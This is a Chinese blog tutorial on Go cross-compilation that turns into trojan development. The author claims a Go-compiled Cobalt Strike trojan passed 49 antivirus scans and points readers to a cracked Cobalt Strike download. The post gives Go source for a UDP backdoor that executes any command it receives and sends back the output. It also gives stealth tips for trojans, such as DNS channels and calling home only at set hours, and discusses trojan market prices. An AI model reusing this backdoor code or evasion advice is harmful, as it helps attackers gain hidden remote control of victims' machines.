目录
一、二进制编译
二、白帽子觉醒
三、Golang进阶
一、二进制编译
我们首先来明确一个问题,编译意味着什么?
脱离环境,脱离依赖运行!
我们知道,python也是可以编译的,但是需要借助第三方包来完成,但是在最新的python3中兼容极差,而且对系统的位数架构各种条件苛刻,即使如此,依然随时崩掉,各种缺包。我丢!
Go语言的编译需要用到build方法:
usage: go build [-o output] [-i] [build flags] [packages]
关于其跨平台编译,我们可以使用env方法查看系统当前环境变量。
C:\Users\Administrator\Desktop\gotest>go env
set GO111MODULE=
set GOARCH=amd64
set GOBIN=
set GOCACHE=C:\Users\Administrator\AppData\Local\go-build
set GOENV=C:\Users\Administrator\AppData\Roaming\go\env
set GOEXE=.exe
set GOFLAGS=
set GOHOSTARCH=amd64
set GOHOSTOS=windows
set GONOPROXY=
set GONOSUMDB=
set GOOS=windows
set GOPATH=C:\Users\Administrator\go
set GOPRIVATE=
set GOPROXY=https://proxy.golang.org,direct
set GOROOT=C:\Go
set GOSUMDB=sum.golang.org
set GOTMPDIR=
set GOTOOLDIR=C:\Go\pkg\tool\windows_amd64
set GCCGO=gccgo
set AR=ar
set CC=gcc
set CXX=g++
set CGO_ENABLED=1
set GOMOD=
set CGO_CFLAGS=-g -O2
set CGO_CPPFLAGS=
set CGO_CXXFLAGS=-g -O2
set CGO_FFLAGS=-g -O2
set CGO_LDFLAGS=-g -O2
set PKG_CONFIG=pkg-config
set GOGCCFLAGS=-m64 -mthreads -fno-caret-diagnostics -Qunused-arguments -fmessage-length=0 -fdebug-prefix-map=C:\Users\ADMINI~1\AppData\Local\Temp\go-build723886514=/tmp/go-build -gno-record-gcc-switches
其中有两条,GOOS和GOARCH,分别代表目标操作系统和目标处理器的架构:
set GOHOSTARCH=amd64
set GOHOSTOS=windows
#操作系统目前支持:
darwin
freebsd
linux
windows
android
dragonfly
netbsd
openbsd
plan9
solaris
#GOARCH目前支持:
arm
arm64
386
amd64
ppc64
ppc64le
mips64
mips64le
s390x
我们只需要控制这两个参数,即可实现定制编译。
比如我们像在“某著名”的Linux系统ParrotSec上运行我们的程序,但我们并不打算安装golang的运行环境。
我们查看下目标系统的架构:
我们以上一章写的小爬虫为例:
set GOARCH=amd64
set GOOS=linux
go build -o icu icu.go
我们可以看到,完美运行!顺便提一句,此次环境变量变更仅对当前窗口有效,请放心食用。
Go语言的生成就不必说了,最无脑的,直接build就可以了。
最后再说一点,借助IDE build会更加方便:
二、白帽子觉醒
好啦,接下来开始提及彩蛋了,先说一个我最早接触Go语言的初衷,去年十一月的一张截图:
virscan 49项杀软静态检测通关,对的,这是一个Cobalt Strike的木马,因为go语言目前确实也算个偏冷门的语言,其编译方式似乎并不为各大杀软厂商关注。好啦,说的有点多了,其实没必要放出具体的实现方式,公开的第二天肯定会被正则收录,大家可以把免杀思想向这边靠拢。
顺便一提,最新的cs4.0无后门汉化完美破解版已经被上传到TideSec官方公众号的后台了,关注回复cs
即可下载,唉,真香。
然而,接下来我们想玩的方向,并不打算依赖CS,因为我们关注的东西亦是厂商所关注的,在功能需求并不高的情况下,我们完全可以自行定制我们的木马。而且,不要忘了,cs木马可不支持Linux。
虽然篇幅有限,但我们仍然尝试下在Window平台做个小小的mua~
命令执行借助os/exec包完成,执行命令可以使用Run() 或者Start() 方法,其中Run是阻塞的执行,Start() 是非阻塞的执行,这里作为举例,我们仅尝试实现简单的系统命令(也是为了限制用途,2333)。
我们选用网络编程章节的样例,做一个小小的UDP木马,仅实现简单的命令执行,不做任何免杀处理,可以看到代码区别,仅增加了个runcmd()方法,当然了,作为一个木马我们不需要他做输出,但为了展示直观,我们保留输出语句:
func main() {
udpAddr, _ := net.ResolveUDPAddr("udp", "127.0.0.1:8000")
listener, err := net.ListenUDP("udp", udpAddr)
checkErr(err)
fmt.Println("Start listening ... ")
defer listener.Close()
task(listener)
}
func task(conn *net.UDPConn) {
defer conn.Close()
buf := make([ ]byte, 2048)
for{
n, addr, err := conn.ReadFromUDP(buf)
checkErr(err)
fmt.Printf("read buf = %s\n", string(buf[:n]))
go func(){
response:=runcmd(string(buf[:n]))
conn.WriteToUDP([]byte(response),addr)
}()
}
}
func runcmd(command string)string{
cmd := exec.Command(command)
buf, _ := cmd.Output()
return string(buf)
}
然后,我们尝试模拟木马命令执行功能:
一个简单的木马就做好了~就这???当然功能还差很多,字符编码、反向连接、异常处理、系统命令完整支持、常用功能封装函数化等等等等,我们放到后面慢慢来。
顺便瞅一眼静态免杀情况,emmmm,可能功能太少了,杀软暂时看不在眼里,后期我们慢慢增加功能再来测试。ok,一个只具备简单命令执行的UDP小马就到这里了!
一个优秀的木马应该具备什么功能?也是我们以后研究的方向,知彼知己百战不殆。
这里分享几点冷门见解:
1、协议,dns>udp>tcp,dns马这里没涉及,我们后期尝试。
2、特定时段上线,比如凌晨两点到三点,打开连接,其他时间后台隐匿。
3、功能没必要全,尤其是小马,定位明确-稳定会话,功能与风险共存,不论攻防。
三、Golang进阶
如你所见,Golang的入门教程就到这里了,我省略了很多东西,切片的高阶应用、接口的多层嵌套、反射等等等等,但是我也加入了很多常见的书籍中没有的内容,数据库编程、socket编程、web编程等,目标其实很明确,这个系列面向的对象是需要短时间可以掌握一门编程语言的人,我涉猎了很多方向,却没有牵扯太多细节。
因为最近在家待业,(360的各位大佬,救救弟弟吧!HR的流程之慢我快吐了),学习Golang一共用了8天左右,每天从中午到凌晨,(为什么是中午???起不来。。。),因为有强迫症,我在很多细节方面浪费了很多没意义的时间,我想说的是,在教程开始我就说了,两周时间,某主播直播教学,零基础学Golang,完全可行!车!上它!
接下来,与其说Go语言学习的结束,倒不如说Go入坑的开始。主要安排分为两个方向:
一、渗透工具包:致敬K8gege,我最仰慕的大佬之一,模仿ladon的功能,加入自己的需求希望可以推出一款稳定的内网渗透工具包,当然周期可能较长,所以可能分模块慢慢来。
二、定制木马:木马定制一直都是土豪专属,据我所知,圈内的行情木马价格10-*0w不等,友情价小马2-*w不等,当然我们有时候没必要取值过一个功能全面的大马,一个会话稳定支持upload/rce功能的小马即可。而且再多说一句,又有多少人接触过Linux木马,Golang跨平台稳定的二进制编译,我认为再适合不过了。
emmm,这部分内容只代表个人的一点行业见解,如有瑕疵还请各位大佬海涵,另外接下来的学习也欢迎大家参与讨论!
什么?途径?ParrotSec中文社区欢迎您!https://parrotsec-cn.org
Web、挖掘机、开发、Linux、烹饪、CTF、逆向、iot、女装,你喜欢的,我们都有!
有疑问加站长微信联系(非本文作者)